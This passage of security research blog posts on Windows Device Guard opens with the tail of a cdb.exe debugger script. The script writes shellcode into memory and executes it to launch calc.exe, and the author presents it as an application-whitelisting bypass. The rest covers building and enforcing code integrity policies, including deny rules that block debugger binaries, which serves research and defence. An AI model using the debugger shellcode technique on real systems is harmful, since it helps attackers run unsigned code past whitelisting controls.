;eb @$t0+E4 BB;eb @$t0+E5 E0;eb @$t0+E6 1D;eb @$t0+E7 2A

;eb @$t0+E8 0A;eb @$t0+E9 41;eb @$t0+EA BA;eb @$t0+EB A6

;eb @$t0+EC 95;eb @$t0+ED BD;eb @$t0+EE 9D;eb @$t0+EF FF

;eb @$t0+F0 D5;eb @$t0+F1 48;eb @$t0+F2 83;eb @$t0+F3 C4

;eb @$t0+F4 28;eb @$t0+F5 3C;eb @$t0+F6 06;eb @$t0+F7 7C

;eb @$t0+F8 0A;eb @$t0+F9 80;eb @$t0+FA FB;eb @$t0+FB E0

;eb @$t0+FC 75;eb @$t0+FD 05;eb @$t0+FE BB;eb @$t0+FF 47

;eb @$t0+100 13;eb @$t0+101 72;eb @$t0+102 6F;eb @$t0+103 6A

;eb @$t0+104 00;eb @$t0+105 59;eb @$t0+106 41;eb @$t0+107 89

;eb @$t0+108 DA;eb @$t0+109 FF;eb @$t0+10A D5;eb @$t0+10B 63

;eb @$t0+10C 61;eb @$t0+10D 6C;eb @$t0+10E 63;eb @$t0+10F 00


$$ Redirect execution to the shellcode buffer

r @$ip=@$t0


$$ Continue program execution - i.e. execute the shellcode

g


$$ Continue program execution after hitting a breakpoint

$$ upon starting calc.exe. This is specific to this shellcode.

g


$$ quit cdb.exe

q


I chose to use cdb.exe in the example as it is a command-line debugger whereas WinDbg is a GUI debugger. Additionally, these debuggers are portable. It imports DLLs that are all present in System32. So the only files that you would be dropping on the target system is cdb.exe and the script above - none of which should be flagged by AV. In reality, the script isn’t even required on disk. You can just paste the commands in manually if you like.


Now, you may be starting to ask yourself, “how could I go about blocking windbg.exe, cdb.exe, kd.exe etc.?“ You might block the hashes from executing with AppLocker. Great, but then someone will just run an older version of any of those programs and it won’t block future versions either. You could block anything named cdb.exe, windbg.exe, etc. from running. Okay, then the attacker will just rename it to foo.exe. You could blacklist the certificate used to sign cdb.exe, windbg.exe, etc. Then you might be blocking other legitimate Microsoft applications signed with the same certificate. On Windows RT, this attack was somewhat mitigated by the fact that user-mode code integrity (UMCI) prevented a user from attaching a debugger invasively – what I did in this example. The ability to enforce this with Device Guard, however, does not present itself as a configuration feature. At the time of this writing, I don’t have any realistic preventative defenses but I will certainly be looking into them as I dig into Device Guard more. As far as detection is concerned, there ought to be plenty of creative ways to detect this including something as simple as command-line auditing.



Anyway, while this may not be the sexiest of ways to execute shellcode, I’d like to think it’s a decent, generic application whitelisting bypass that will be difficult in practice to prevent. Enjoy!

Introduction to Windows Device Guard: Introduction and Configuration Strategy

Introduction

Welcome to the first in a series a Device Guard blog posts. This post is going to cover some introductory concepts about Device Guard and it will detail the relatively aggressive strategy that I used to configure it on my Surface Pro 4 tablet running a fresh install of Windows 10 Enterprise Anniversary Update (1607). The goal of this introductory post is to start getting you comfortable with Device Guard and experimenting with it yourselves. In subsequent posts, I will begin to describe various bypasses and will describe methods to effectively mitigate against each bypass. The ultimate goal of this series of posts is to educate readers about the strengths and current weaknesses of what I consider to be an essential technology in preventing a massive class of malware infections in a post-compromise scenario (i.e. exploit mitigation is another subject altogether).


Device Guard Basics

Device Guard is a powerful set of hardware and software security features available in Windows 10 Enterprise and Server 2016 (including Nano Server with caveats that I won’t explain in this post) that aim to block the loading of drivers, user-mode binaries (including DLLs), MSIs, and scripts (PowerShell and Windows Script Host - vbs, js, wsf, wsc) that are not explicitly authorized per policy. In other words, it’s a whitelisting solution. The idea, in theory, being a means to prevent arbitrary unsigned code execution (excluding remote exploits). Right off the bat, you may already be asking, “why not just use AppLocker and why is Microsoft recreating the wheel?” I certainly had those questions and I will attempt to address them later in the post.


Device Guard can be broken down into two primary components:


1 - Code integrity (CI)

The code integrity component of Device Guard enforces both kernel mode code integrity (KMCI) and user mode code integrity (UMCI). The rules enforced by KMCI and UMCI are dictated by a code integrity policy - a configurable list of whitelist rules that can apply to drivers, user-mode binaries, MSIs, and scripts. Now, technically, PowerShell scripts can still execute, but unless the script or module is explicitly allowed via the code integrity policy, it will be forced to execute in constrained language mode, which prevents a user from calling Add-Type, instantiating .NET objects, and invoking .NET methods, effectively precluding PowerShell from being used to gain any form of arbitrary unsigned code execution. Additionally, WSH scripts will still execute if they don't comply with the deployed code integrity policy, but they will fail to instantiate any COM objects which is reasonable considering unsigned PowerShell will still execute but in a very limited fashion. As of this writing, the script-based protections of Device Guard are not documented by Microsoft.

So with a code integrity policy, for example, if I wanted my system to only load drivers or user-mode code signed by Microsoft, such rules would be stated in my policy. Code integrity policies are created using the cmdlets present in the ConfigCI PowerShell module. CI policies are configured as a plaintext XML document then converted to a binary-encoded XML format when they are deployed. For additional protections, CI policies can also be signed with a valid code-signing certificate.


2 - Virtualization-based Security (VBS)

Virtualization-based Security is comprised of several hypervisor and modern hardware-based security features are used to protect the enforcement of a code integrity policy, Credential Guard, and shielded VMs. While it is not mandatory to have hardware that supports VBS features, without it, the effectiveness of Device Guard will be severely hampered. Without delving into too much detail, VBS will improve the enforcement of Device Guard by attempting to prevent disabling code integrity enforcement even as an elevated user who doesn’t have physical access to the target. It can also prevent DMA-based attacks and also restrict any kernel code from creating executable memory that isn’t explicitly conformant to the code integrity policy. The following resources elaborate on VBS:



Microsoft provides a Device Guard and Credential Guard hardware readiness tool that you should use to assess which hardware-specific components of Device Guard and/or Credential Guard can be enabled. This post does not cover Credential Guard.


Configuration Steps and Strategy

Before we get started, I highly recommend that you read the official Microsoft documentation on Device Guard and also watch the Ignite 2015 talk detailing Device Guard design and configuration - Dropping the Hammer Down on Malware Threats with Windows 10’s Device Guard (PPTX, configuration script). The Ignite talk covers some aspects of Device Guard that are not officially documented.


You can download the fully documented code I used to generate my code integrity policy. You can also download the finalized code integrity policy that the code below generated for my personal Surface Pro 4. Now, absolutely do not just deploy that to your system. I’m only providing it as a reference for comparison to the code integrity policy that you create for your system. Do not complain that it might be overly permissive (because I know it is in some respects) and please do not ask why this policy doesn’t work on your system. You also probably wouldn't want to trust code signed by my personal code-signing certificate. ;)


In the Ignite talk linked to above, Scott and Jeffrey describe creating a code integrity policy for a golden system by scanning the computer for all binaries present on it and allowing any driver, script, MSI, application, or DLL to execute based on the certificate used to sign those binaries/scripts. While this is in my opinion, a relatively simple way to establish an initial policy, in practice, I consider this approach to be overly permissive. When I used this methodology on my fresh install of Windows 10 Enterprise Anniversary Update with Chrome installed, the code integrity policy generated consisted of what would be considered normal certificates mixed in with several test signing certificates. Personally, I don’t want to grant anything permission to run that was signed with a test certificate. Notable certificates present in the generated policy were the following:


  • Microsoft Windows Phone Production PCA 2012
  • MSIT Test CodeSign CA 6
  • OEMTest OS Root CA
  • WDKTestCert wdclab,130885612892544312

Upon finding such certificate oddities, I decided to tackle development of a code integrity policy another way – create an empty policy (i.e. deny everything), configure Device Guard in audit mode, and then craft my policy based on what was loaded and denied in the CodeIntegrity event log.


So now let’s dive into how I configured my Surface Pro 4. For starters, I only wanted signed Microsoft code to execute (with a couple third party hardware driver exceptions). Is this a realistic configuration? It depends but probably not. You’re probably going to want non-Microsoft code to run as well. That’s fine. We can configure that later but my personal goal is to only allow Microsoft code to run since everyone using Device Guard will need to do that at a minimum. I will then have a pristine, locked down system which I can then use to research ways of gaining unsigned code execution with signed Microsoft binaries. Now, just to be clear, if you want your system be able to boot and apply updates, you’ll obviously need to allow code signed by Microsoft to run. So to establish my “golden system,” I did the following:


  1. Performed a fresh install of Windows 10 Enterprise Anniversary Update.
  2. Ensured that it was fully updated via Windows Update.

In the empty, template policy, I have the following policy rules enabled:

  1 - Unsigned System Integrity Policy (during policy configuration/testing phases)


Signing your code integrity policy makes it so that deployed policies cannot be removed (assuming they are locked in UEFI using VBS protections) and that they can only be updated using approved code signing certificates as specified in the policy.


  2 - Audit Mode (during policy configuration/testing phases)


I want to simulate denying execution of everything on the system that attempts to load. After I perform normal computing tasks on my computer for a while, I will then develop a new code integrity policy based upon the certificates used to sign everything that would have been denied in the Microsoft-Windows-CodeIntegrity/Operational and Microsoft-Windows-AppLocker (it is not documented that Device Guard pulls from the AppLocker log) logs.


  3 - Advanced Boot Options Menu (during policy configuration/testing phases)

If I somehow misconfigure my policy, deploy it, and my Surface no longer boots, I’ll need a fallback option to recover. This option would allow you to reboot and hold down F8 to access a recovery prompt where I could delete the deployed code integrity policy if I had to. Note: you might be thinking that this would be an obvious Device Guard bypass for someone with physical access. Well, if your policy is not in audit mode and it is required to be signed, you can delete the deployed code integrity policy from disk but it will return unharmed after a reboot. Configuring Bitlocker would prevent an attacker with physical access from viewing and deleting files from disk though via the recovery prompt.

  4 - UMCI

We want Device Guard to not only apply to drivers but to user-mode binaries, MSIs, and scripts as well.

  5 - WHQL


Only load driver that are Windows Hardware Quality Labs (WHQL) signed. This is supposed to be a mandate for all new Windows 10-compatible drivers so we’ll want to make sure we enforce this.

  6 - EV Signers

We want to only load drivers that are not only WHQL signed but also signed with an extended validation certificate. This is supposed to be a requirement for all drivers in Windows 10 Anniversary update. Unfortunately, as we will later discover, this is not the case; not even for all Microsoft drivers (specifically, my Surface Pro 4-specific hardware drivers).

Several others policy rules will be described in subsequent steps. For details on all the available, configurable policy rule options, read the official documentation.

What will follow will be the code and rationale I used to develop my personal code integrity policy. This is a good time to mention that there is never going to be a one size fits all solution for code integrity policy development. I am choosing a relatively locked down, semi-unrealistic policy that will most likely form a minimal basis for pretty much any other code integrity policy out there.


Configuration Phase #1 - Deny-all audit policy deployment

In this configuration phase, I’m going to create an empty, template policy placed in audit mode that will simulate denying execution of every driver, user-mode binary, MSI, and script. After running my system for a few days and getting a good baseline for the programs I’m going to execute (excluding third party binaries since I only want MS binaries to run), I can generate a new policy based on what would have been denied execution in the event log.


There is no standard method of generating an empty policy so what I did was call New-CIPolicy and have it generate a policy from a completely empty directory.


It is worth noting at this point that I will be deploying all subsequent policies directly to %SystemRoot%\System32\CodeIntegrity\SIPolicy.p7b. You can, however configure via Group Policy an alternate file path where CI policies should be pulled from and I believe you have to set this location via Group Policy if you’re using a signed policy file (at least from my experimentation). This procedure is documented here. You had damn well better make sure that any user doesn’t have write access to the directory where the policy file is contained if an alternate path is specified with Group Policy.


What follows is the code I used to generate and deploy the initial deny-all audit policy. I created a C:\DGPolicyFiles directory to contain all my policy related files. You can use any directory you want though.


# The staging directory I'm using for my Device Guard setup

$PolicyDirectory = 'C:\DGPolicyFiles'


# Path to the empty template policy that will place Device Guard

# into audit mode and simulate denying execution of everything.

$EmptyPolicyXml = Join-Path -Path $PolicyDirectory -ChildPath 'EmptyPolicy.xml'


# Generate an empty, deny-all policy

# There is no intuitive way to generate an empty policy so we will

# go about doing it by generating a policy based on an empty directory.

$EmptyDir = Join-Path -Path $PolicyDirectory -ChildPath 'EmptyDir'

mkdir -Path $EmptyDir

New-CIPolicy -FilePath $EmptyPolicyXml -Level PcaCertificate -ScanPath $EmptyDir -NoShadowCopy

Remove-Item $EmptyDir


# Only load drivers that are WHQL signed

Set-RuleOption -FilePath $EmptyPolicyXml -Option 2
# Enable UMCI enforcement
Set-RuleOption -FilePath $EmptyPolicyXml -Option 0

# Only allow drivers to load that are WHQL signed by trusted MS partners

# who sign their drivers with an extended validation certificate.

# Note: this is an idealistic setting that will probably prevent some of your

# drivers from loading. Enforcing this in audit mode however will at least

# inform you as to what the problematic drivers are.

Set-RuleOption -FilePath $EmptyPolicyXml -Option 8


# A generated policy will also have the following policy options set by default

# * Unsigned System Integrity Policy

# * Audit Mode

# * Advanced Boot Options Menu

# * Enforce Store Applications


# In order to deploy the policy, the XML policy has to be converted

# to p7b format with the ConvertFrom-CIPolicy cmdlet.

$EmptyPolicyBin = Join-Path -Path $PolicyDirectory -ChildPath 'EmptyPolicy.bin'


ConvertFrom-CIPolicy -XmlFilePath $EmptyPolicyXml -BinaryFilePath $EmptyPolicyBin


# We're going to copy the policy file in binary format to here. By simply copying

# the policy file to this destination, we're deploying our policy and enabling it

# upon reboot.

$CIPolicyDeployPath = Join-Path -Path $env:SystemRoot -ChildPath 'System32\CodeIntegrity\SIPolicy.p7b'


Copy-Item -Path $EmptyPolicyBin -Destination $CIPolicyDeployPath -Force


# At this point, you may want to clear the Microsoft-Windows-CodeIntegrity/Operational

# event log and increase the size of the log to accommodate the large amount of

# entries that will populate the event log as a result of an event log entry being

# created upon code being loaded.


# Optional: Clear Device Guard related logs

# wevtutil clear-log Microsoft-Windows-CodeIntegrity/Operational

# wevtutil clear-log "Microsoft-Windows-AppLocker/MSI and Script"


# Reboot the computer and the deny-all audit policy will be in place.


Configuration Phase #2 - Code integrity policy creation based on audit logs

Hopefully, you’ve run your system for a while and established a good baseline of all the drivers, user-mode binaries (including DLLs) and scripts that are necessary for you to do your job. If that’s the case, then you are ready to build generate the next code integrity policy based solely on what was reported as denied in the event log.


When generating this new code integrity policy, I will specify the PcaCertificate file rule level which is probably the best file rule level for this round of CI policy generation as it is the highest in the code signing cert signer chain and it has a longer validity time frame than a leaf certificate (i.e. lowest in the signing chain). You could use more restrictive file rules (e.g. LeafCertificate, Hash, FilePublisher, etc.) but you would be weighing updatability with increased security. For example, you should be careful when whitelisting third party PCA certificates as a malicious actor would just need to be issued a code signing certificate from that third party vendor as a means of bypassing your policy. Also, consider a scenario where a vulnerable older version of a signed Microsoft binary was used to gain code execution. If this is a concern, consider using a file rule like FilePublisher or WHQLFilePublisher for WHQL-signed drivers.


Now, when we call New-CIPolicy to generate the policy based on the audit log, you may notice a lot of warning messages claiming that it is unable to locate a bunch of drivers on disk. This apperas to be an unfortunate path parsing bug that will become a problem that we will address in the next configuration phase.



Driver path parsing bug

# Hopefully, you've spent a few days using your system for its intended purpose and didn't

# install any software that would compromise the "gold image" that you're aiming for.

# Now we're going to craft a CI policy based on what would have been denied from loading.

# Obviously, these are the kinds of applications, scripts, and drivers that will need to

# execute in order for your system to work as intended.


# The staging directory I'm using for my Device Guard setup

$PolicyDirectory = 'C:\DGPolicyFiles'


# Path to the CI policy that will be generated based on the entries present

# in the CodeIntegrity event log.

$AuditPolicyXml = Join-Path -Path $PolicyDirectory -ChildPath 'AuditLogPolicy.xml'


# Generate the CI policy based on what would have been denied in the event logs

# (i.e. Microsoft-Windows-CodeIntegrity/Operational and Microsoft-Windows-AppLocker/MSI and Script)

# PcaCertificate is probably the best file rule level for this round of CI policy generation

# as it is the highest in the code signing cert signer chain and it has a longer validity time frame

# than a leaf certificate (i.e. lowest in the signing chain).

# This may take a few minutes to generate the policy.

# The resulting policy will result in a rather concise list of whitelisted PCA certificate signers.

New-CIPolicy -FilePath $AuditPolicyXml -Level PcaCertificate -Audit -UserPEs


# Note: This policy, when deployed will still remain in audit mode as we should not be confident

# at this point that we've gotten everything right.


# Now let's deploy the new policy

$AuditPolicyBin = Join-Path -Path $PolicyDirectory -ChildPath 'AuditLogPolicy.bin'


ConvertFrom-CIPolicy -XmlFilePath $AuditPolicyXml -BinaryFilePath $AuditPolicyBin


# We're going to copy the policy file in binary format to here. By simply copying

# the policy file to this destination, we're deploying our policy and enabling it

# upon reboot.

$CIPolicyDeployPath = Join-Path -Path $env:SystemRoot -ChildPath 'System32\CodeIntegrity\SIPolicy.p7b'


Copy-Item -Path $AuditPolicyBin -Destination $CIPolicyDeployPath -Force


# Optional: Clear Device Guard related logs

# wevtutil clear-log Microsoft-Windows-CodeIntegrity/Operational

# wevtutil clear-log "Microsoft-Windows-AppLocker/MSI and Script"


# Reboot the computer and the audit policy will be in place.


Configuration Phase #3 - Code integrity policy final tweaks while still in audit mode

In this phase, we’ve rebooted and noticed that there are a bunch of drivers that wouldn’t have loaded if we actually enforced the policy. This is due to the driver path parsing issue I described in the last section. Until this bug is fixed, I believe there are two realistic methods of handling this:

  •  Manually copy the paths of the drivers from the event log with a PowerShell script and copy the drivers to a dedicated directory and generate a new policy based on the drivers in that directory and then merge that policy with the policy we generated in phase #2. I personally had some serious issues with this strategy in practice.
  • Generate a policy by scanning %SystemRoot%\System32\drivers and then merge that policy with the policy we generated in phase #2. For this blog post, that’s what we will be doing out of simplicity. The only reason I hesitate to use this strategy is that I don’t want to be overly permissive necessarily and whitelist certificates for drivers I don’t use that might be issued by a non-Microsoft public certification authority.

Additionally, one of the side effects of this bug is that the generated policy from phase #2 only has rules for user-mode code and not drivers. We obviously need driver rules.


# My goal in this phase is to see what remaining CodeItegrity log entries

# exist and to try to rectify them while still in audit mode before placing

# code integrity into enforcement mode.


# For me, I had about 30 event log entries that indicated the following:

#

# Code Integrity determined that a process (Winload) attempted to load

# System32\Drivers\mup.sys that did not meet the Authenticode signing

# level requirements or violated code integrity policy. However, due to

# code integrity auditing policy, the image was allowed to load.


# Upon trying to create a new policy based on these event log entries via the following command

# New-CIPolicy -FilePath Audit2.xml -Level PcaCertificate -Audit

# I got a bunch of the following warnings:

#

# File at path \\?\GLOBALROOTSystem32\Drivers\Wof.sys in the audit log was not found.

# It has likely been deleted since it was last run

#

# Ugh. No it wasn't deleted. This looks like a path parsing bug. Personally, I'm

# comfortable trusting all drivers in %SystemRoot%\System32\Drivers so I'm going

# to create a policy from that directory and merge it with my prior. Afterall,

# my system would not boot if I didn't whitelist them.


$PolicyDirectory = 'C:\DGPolicyFiles'


# Path to the CI policy that will be generated based on the entries present

# in the CodeIntegrity event log.

$DriverPolicyXml = Join-Path -Path $PolicyDirectory -ChildPath 'SystemDriversPolicy.xml'


# Create a whitelisted policy for all drivers in System32\drivers to account for

# the New-CIPolicy audit log scanning path parsing bug...


# Note: this really annoying bug prevented and rules in the previous phase from being created

# for drivers - only user-mode binaries and scripts. If I were to deploy and enforce a policy without

# driver whitelist rules, I'd have an unbootable system.

New-CIPolicy -FilePath $DriverPolicyXml -Level PcaCertificate -ScanPath 'C:\Windows\System32\drivers\'


# Some may consider this strategy to be too permissive (myself partially included). The ideal strategy

# here probably would have been to pull out the individual driver paths, copy them to a dedicated

# directory and generate a policy for just those drivers. For the ultra paranoid, this is left as an

# exercise to the reader.


# Now we have to merge this policy with the last one as a means of consolidating whitelist rules.

$AuditPolicyXml = Join-Path -Path $PolicyDirectory -ChildPath 'AuditLogPolicy.xml'

$MergedAuditPolicyXml = Join-Path -Path $PolicyDirectory -ChildPath 'MergedAuditPolicy.xml'

Merge-CIPolicy -OutputFilePath $MergedAuditPolicyXml -PolicyPaths $DriverPolicyXml, $AuditPolicyXml


# Now let's deploy the new policy

$MergedAuditPolicyBin = Join-Path -Path $PolicyDirectory -ChildPath 'MergedAuditPolicy.bin'


ConvertFrom-CIPolicy -XmlFilePath $MergedAuditPolicyXml -BinaryFilePath $MergedAuditPolicyBin


# We're going to copy the policy file in binary format to here. By simply copying

# the policy file to this destination, we're deploying our policy and enabling it

# upon reboot.

$CIPolicyDeployPath = Join-Path -Path $env:SystemRoot -ChildPath 'System32\CodeIntegrity\SIPolicy.p7b'


Copy-Item -Path $MergedAuditPolicyBin -Destination $CIPolicyDeployPath -Force


# Optional: Clear Device Guard related logs

# wevtutil clear-log Microsoft-Windows-CodeIntegrity/Operational

# wevtutil clear-log "Microsoft-Windows-AppLocker/MSI and Script"


# Reboot the computer and the merged policy will be in place.


Configuration Phase #4 - Deployment of the CI policy in enforcement mode

Alright, we’ve rebooted and the CodeIntegrity log no longer presents the entries for drivers that would not have been loaded. Now we’re going to simply remove audit mode from the policy, redeploy, reboot, and cross our fingers that we have a working system upon reboot.


# This is the point where I feel comfortable enforcing my policy. The CodeIntegrity log

# is now only populated with a few anomalies - e.g. primarily entries related to NGEN

# native image generation. I'm okay with blocking these but hopefully, the Device Guard

# team can address how to handle NGEN generated images properly since this is not documented.


$PolicyDirectory = 'C:\DGPolicyFiles'

$MergedAuditPolicyXml = Join-Path -Path $PolicyDirectory -ChildPath 'MergedAuditPolicy.xml'


# Now all we need to do is remove audit mode from the policy, redeploy, reboot, and cross our

# fingers that the system is useable. Note that the "Advanced Boot Options Menu" option is still

# enabled so we have a way to delete the deployed policy from a recovery console if things break.


Set-RuleOption -FilePath $MergedAuditPolicyXml -Delete -Option 3


$MergedAuditPolicyBin = Join-Path -Path $PolicyDirectory -ChildPath 'MergedAuditPolicy.bin'


ConvertFrom-CIPolicy -XmlFilePath $MergedAuditPolicyXml -BinaryFilePath $MergedAuditPolicyBin


$CIPolicyDeployPath = Join-Path -Path $env:SystemRoot -ChildPath 'System32\CodeIntegrity\SIPolicy.p7b'


Copy-Item -Path $MergedAuditPolicyBin -Destination $CIPolicyDeployPath -Force


# Optional: Clear Device Guard related logs

# wevtutil clear-log Microsoft-Windows-CodeIntegrity/Operational

# wevtutil clear-log "Microsoft-Windows-AppLocker/MSI and Script"


# Reboot the computer and the enforced policy will be in place. This is the moment of truth!


Configuration Phase #5 - Updating policy to no longer enforce EV signers

So it turns out that I was a little overambitious in forcing EV signer enforcement on my Surface tablet as pretty much all of my Surface hardware drivers didn't load. This is kind of a shame considering I would expect MS hardware drivers to be held to the highest standards imposed by MS. So I'm going to remove EV signer enforcement and while I'm at it, I'm going to enforce blocking of flight-signed drivers. These are drivers signed by an MS test certificate used in Windows Insider Preview builds. So obviously, you won't want to be running WIP builds of Windows if you're enforcing this.


FYI, I was fortunate enough for the system to boot to discover that EV signature enforcement was the issue.


$PolicyDirectory = 'C:\DGPolicyFiles'

$MergedAuditPolicyXml = Join-Path -Path $PolicyDirectory -ChildPath 'MergedAuditPolicy.xml'


# No longer enforce EV signers

Set-RuleOption -FilePath $MergedAuditPolicyXml -Delete -Option 8


# Enforce blocking of flight signed code.

Set-RuleOption -FilePath $MergedAuditPolicyXml -Option 4


$MergedAuditPolicyBin = Join-Path -Path $PolicyDirectory -ChildPath 'MergedAuditPolicy.bin'


ConvertFrom-CIPolicy -XmlFilePath $MergedAuditPolicyXml -BinaryFilePath $MergedAuditPolicyBin


$CIPolicyDeployPath = Join-Path -Path $env:SystemRoot -ChildPath 'System32\CodeIntegrity\SIPolicy.p7b'


Copy-Item -Path $MergedAuditPolicyBin -Destination $CIPolicyDeployPath -Force


# Optional: Clear Device Guard related logs

# wevtutil clear-log Microsoft-Windows-CodeIntegrity/Operational

# wevtutil clear-log "Microsoft-Windows-AppLocker/MSI and Script"


# Reboot the computer and the modified, enforced policy will be in place.


# In retrospect, it would have been smart to have enabled "Boot Audit on Failure"

# with Set-RuleOption as it would have placed device guard into audit mode in order to allow

# boot drivers to boot that would have otherwise been blocked by policy.


Configuration Phase #6 - Monitoring and continued hardening

At this point we have a decent starting point and I'll leave it up to you as to how you'd like to proceed in terms of CI policy configuration and deployment.


Me personally, I performed the following:


  1. Used Add-SignerRule to add an Update and User signer rule with my personal code signing certificate. This grants me permission to sign my policy and execute user-mode binaries and scripts signed by me. I need to sign some of my PowerShell code that I use often since it is incompatible in constrained language mode. Signed scripts authorized by CI policy execute in full language mode. Obviously, I personally need to sign my own code sparingly. For example, it would be dumb for me to sign Invoke-Shellcode since that would explicitly circumvent user-mode code integrity.
  2. Remove "Unsigned System Integrity Policy" from the configuration. This forces me to sign the policy. It also prevents modification and removal of a deployed policy and it can only be updated by signing an updated policy.
  3. I removed the "Boot Menu Protection" option from the CI policy. This is a potential vulnerability to an attacker with physical access.
  4. I also enabled virtualization-based security via group policy to achieve the hardware supported Device Guard enforcement/improvements.

What follows is the code I used to allow my code signing cert to sign the policy and sign user-mode binaries. Obviously, this is specific to my personal code-signing certificate.

# I don't plan on using my code signing cert to sign drivers so I won't allow that right now.

# Note: I'm performing these steps on an isolated system that contains my imported code signing

# certificate. I don't have my code signing cert on the system that I'm protecting with

# Device Guard hopefully for obvious reasons.


$PolicyDirectory = 'C:\DGPolicyFiles'

$CodeSigningSertPath = Join-Path $PolicyDirectory 'codesigning.cer'

$MergedAuditPolicyXml = Join-Path -Path $PolicyDirectory -ChildPath 'MergedAuditPolicy.xml'


Add-SignerRule -FilePath $MergedAuditPolicyXml -CertificatePath $CodeSigningSertPath -User -Update


$MergedAuditPolicyBin = Join-Path -Path $PolicyDirectory -ChildPath 'MergedAuditPolicy.bin'


ConvertFrom-CIPolicy -XmlFilePath $MergedAuditPolicyXml -BinaryFilePath $MergedAuditPolicyBin


# I'm signing my code integrity policy now.

signtool.exe sign -v /n "Matthew Graeber" -p7 . -p7co 1.3.6.1.4.1.311.79.1 -fd sha256 $MergedAuditPolicyBin


# Now, once I deploy this policy, I will only be able to make updates to the policy by

# signing an updated policy with the same signing certificate.


Virtualization-based Security Enforcement

My Surface Pro 4 has the hardware to support these features so I would be silly not to employ them. This is easy enough to do in Group Policy. After configuring these settings, reboot and validate that all Device Guard features are actually set. The easiest way to do this in my opinion is to use the System Information application.


Enabling Virtualization Based Security Features

Confirmation of Device Guard enforcement

Conclusion

If you’ve made it this far, congratulations! Considering there’s no push-button solution to configuring Device Guard according to your requirements, it can take a lot of experimentation and practice. That said, I don’t think there should ever be a push-button solution to the development of a strong whitelisting policy catered to your specific environment. It takes a lot of work just like how competently defending your enterprise should take a lot of work versus just throwing money at "turnkey solutions".


Examples of blocked applications and scripts

Now at this point, you may be asking the following questions (I know I did):


  • How much of a pain will it be to update the policy to permit new applications? Well, this would in essence require a reference machine in which you can place it into audit mode during a test period of the new software installation. You would then need to generate a new policy based on the audit logs and hope that all loaded binaries are signed. If not, you’d have to fall back to file hash rules which would force you to update the policy again as soon as a new update comes out. This process is complicated by installer applications whereas configuring portable binaries should be much easier since the footprint is much smaller.
  • What if there’s a signed Microsoft binary that permits unsigned code execution? Oh these certainly exist and I will cover these in future blog posts along with realistic code integrity policy deny rule mitigations.
  • What if a certificate I whitelist is revoked? I honestly don’t think Device Guard currently covers this scenario.
  • What are the ways in which an admin (local or remote) might be able to modify or disable Device Guard? I will attempt to enumerate some of these possibilities in future blog posts.
  • What is the fate of AppLocker? That will need to be left to Microsoft to answer that question.
  • I personally have many more questions but this blog post may not be the appropriate forum to air all possible grievances. I have been in direct contact with the Device Guard team at Microsoft and they have been very receptive to my feedback.

Finally, despite the existence of bypasses, in many cases code integrity policies can be supplemented to mitigate many known bypasses. In the end though, Device Guard will significantly raise the cost to an attacker and block most forms of malware that don't specifically take Device Guard bypasses into consideration. I commend Microsoft for putting some serious thought and engineering into Device Guard and I sincerely hope that they will continue to improve it, document it more thoroughly, and evangelize it. Now, I may be being overly optimistic, but I would hope that they would consider any vulnerabilities to the Device Guard implementation and possibly even unsigned code execution from signed Microsoft binaries to be a security boundary. But hey, a kid can dream, right?


I hope you enjoyed this post! Look forward to more Device Guard posts (primarily with an offensive twist) coming up!

Using Device Guard to Mitigate Against Device Guard Bypasses

In my last post, I presented an introduction to Device Guard and described how to go about developing a fairly locked down code integrity policy - a policy that consisted entirely of implicit allow rules. In this post, I’m going to describe how to deny execution of code that would otherwise be whitelisted according to policy. Why would you want to do this? Well, as I blogged about previously, one of the easiest methods of circumventing user-mode code integrity (UMCI) is to take advantage of signed applications that can be used to execute arbitrary, unsigned code. In the blog post, I achieved this using one of Microsoft’s debuggers, cdb.exe. Unfortunately, cdb.exe isn’t the only signed Microsoft binary that can circumvent a locked down code integrity policy. In the coming months, Casey Smith (@subtee) and I will gradually unveil additional signed binaries that circumvent UMCI. In the spirit of transparency, Casey and I will release bypasses as we find them but we will only publicize bypasses for which we can produce an effective mitigation. Any other bypass would be reported to Microsoft through the process of coordinated disclosure.


While the existence of bypasses may cause some to question the effectiveness of Device Guard, consider that the technique I will describe will block all previous, current, and future versions of binaries that circumvent UMCI. The only requirement being that the binaries be signed with a code signing certificate that is in the same chain as the PCA certificate used when we created a deny rule - a realistic scenario. What I’m describing is the FilePublisher file rule level.


In the example that follows, I will create a new code integrity policy with explicit deny rules for all signed versions of the binaries I’m targeting up to the highest supported version number (65535.65535.65535.65535) – cdb.exe, windbg.exe, and kd.exe – three user-mode and kernel-mode debuggers signed by Microsoft. You can then merge the denial CI policy with that of your reference policy. I confirmed with the Device Guard team at Microsoft that what I’m about to describe is most likely the ideal method (at time of writing) of blocking the execution of individual binaries that bypass your code integrity policy.


# The directory that contains the binaries that circumvent our Device Guard policy

$Scanpath = 'C:\Program Files\Windows Kits\10\Debuggers\x64'


# The binaries that circumvent our Device Guard policy

$DeviceGuardBypassApps = 'cdb.exe', 'windbg.exe', 'kd.exe'


$DenialPolicyFilePath = 'BypassMitigationPolicy.xml'


# Get file and signature information for every file in the scan directory

$Files = Get-SystemDriver -ScanPath $Scanpath -UserPEs -NoShadowCopy


# We'll use this to filter out the binaries we want to block

$TargetFilePaths = $DeviceGuardBypassApps | ForEach-Object { Join-Path $Scanpath $_ }


# Filter out the user-mode binaries we want to block

# This would just as easily apply to drivers. Just change UserMode to $False

# If you’re wanting this to apply to drivers though, you might consider using

# the WHQLFilePublisher rule.

$FilesToBlock = $Files | Where-Object {

    $TargetFilePaths -contains $_.FriendlyName -and $_.UserMode -eq $True

}


# Generate a dedicated device guard bypass policy that contains explicit deny rules for the binaries we want to block.

New-CIPolicy -FilePath $DenialPolicyFilePath -DriverFiles $FilesToBlock -Level FilePublisher -Deny -UserPEs



# Set the MinimumFileVersion to 65535.65535.65535 - an arbitrarily high number.

# Setting this value to an arbitraily high version number will ensure that any signed bypass binary prior to version 65535.65535.65535.65535
# will be blocked. This logic allows us to theoretically block all previous, current, and future versions of binaries assuming

# they were signed with a certificate signed by the specified PCA certificate

$DenyPolicyRules = Get-CIPolicy -FilePath $DenialPolicyFilePath

$DenyPolicyRules | Where-Object { $_.TypeId -eq 'FileAttrib' } | ForEach-Object {

    # For some reason, the docs for Edit-CIPolicyRule say not to use it...

    Edit-CIPolicyRule -FilePath $DenialPolicyFilePath -Id $_.Id -Version '65535.65535.65535.65535'


}



# The remaining portion is optional. They are here to demonstrate

# policy merging with a reference policy and deployment.



<#

$ReferencePolicyFilePath = 'FinalPolicy.xml'

$MergedPolicyFilePath = 'Merged.xml'

$DeployedPolicyPath = 'C:\DGPolicyFiles\SIPolicy.bin'

#>


